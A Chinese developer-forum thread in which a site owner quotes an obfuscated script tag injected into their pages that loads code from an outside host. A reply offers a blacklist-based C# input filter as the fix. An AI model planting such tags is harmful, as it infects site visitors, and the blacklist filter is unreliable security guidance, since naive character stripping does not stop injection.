网站被挂JS代码

2009-08-21 12:16:56 371 阅读 AI 写同款 · GEO 优化AI 选题数据监测一键分发 ›

用HTML+CSS+JS做一个漂亮简单的公司网站（JavaScript期末大作业） 👒 公司官网网站、企业官网、酒店官网、等网站的设计与制作。🏷️ 网页中包含：Div+CSS、鼠标滑过特效、Table、导航栏效果、banner、表单、二级三级页面等，视频音频元素，同时设计了logo（源文件），基本期末作业所需的知识点全覆盖。🏅 一套优质的💯网页设计应该包含 (具体可根据个人要求而定)📔网站布局方面：计划采用目前主流的、能兼容各大主流浏览器、显示效果稳定的浮动网页布局结构。📓网站程序方面：计划采用最新的网页编程语言HTML5+CSS3+JS程序语言完成网站的功能设计。并确保网站...... 阅读详情

现有一网站经常被挂js代码代码如下 <script src=http://%77%2E%74%6F%79%6F%6E%79%2E%63%6F%6D%2E%63%6E></script>
通常写在html的末尾此问题以前提过但是我描述的不够详尽有人能给解释下这个是什么原因吗是怎么引起的这个漏洞这个漏洞叫什么（最经经常听说sql注入和上传漏洞等我的属于哪种）怎么解决？因为经常被挂所以尽量要求彻底解决（暂时解决的方案也可以老是删js代码除外）谢谢帮忙

...全文

升降机SEW MOVIDRIVE变频器设置选择PO1 第2,3,9,13 位，点击“SendPA”Start reference，编码器反馈值为0（PI2/3 Actual position=0）提示：传送参考位置前请断开变频器安全24V电源，否则会弹出禁止修改提示框；提示：做这一步时，如果出现电机不能转动，或产生报警不能通过编码器匹配。下载配置的参数，提示：下载参数需要断开变频器的安全24V电源。编码器匹配通过后点击下一步，进入下图画面传送参考位置。1电机不能转动：a可能是由于变频器的安全24V未给。点击2.SEW总线扩展定位，定位块设置。阅读详情

lcglvgn

.NET社区 62,271 成员 668,968 内容

+ 关注 + 加入社区

切换为时间正序

杰子 2009-08-21

打赏
举报

其实这个问题很简单，不是服务器的问题，就是你的代码的问题，是代码疏忽..
改正代码才是硬道理
把你网址传的值都过滤一下。非法字符除去
public static string ReplaceBadChar(string strChar)
{
if (strChar.Trim() == "")
{
return "";
}
else
{
strChar = strChar.Replace("'", "");
strChar = strChar.Replace("*", "");
strChar = strChar.Replace("?", "");
strChar = strChar.Replace("(", "");
strChar = strChar.Replace(")", "");
strChar = strChar.Replace("<", "");
strChar = strChar.Replace("=", "");
strChar = strChar.Replace("--", "");
strChar = strChar.Replace("update", "");
strChar = strChar.Replace("script", "");
strChar = strChar.Replace("insert", "");
strChar = strChar.Replace("delete", "");
strChar = strChar.Replace("/", "");
strChar = strChar.Replace("//", "");
return strChar.Trim();
}
}

lcglvgn 2009-08-21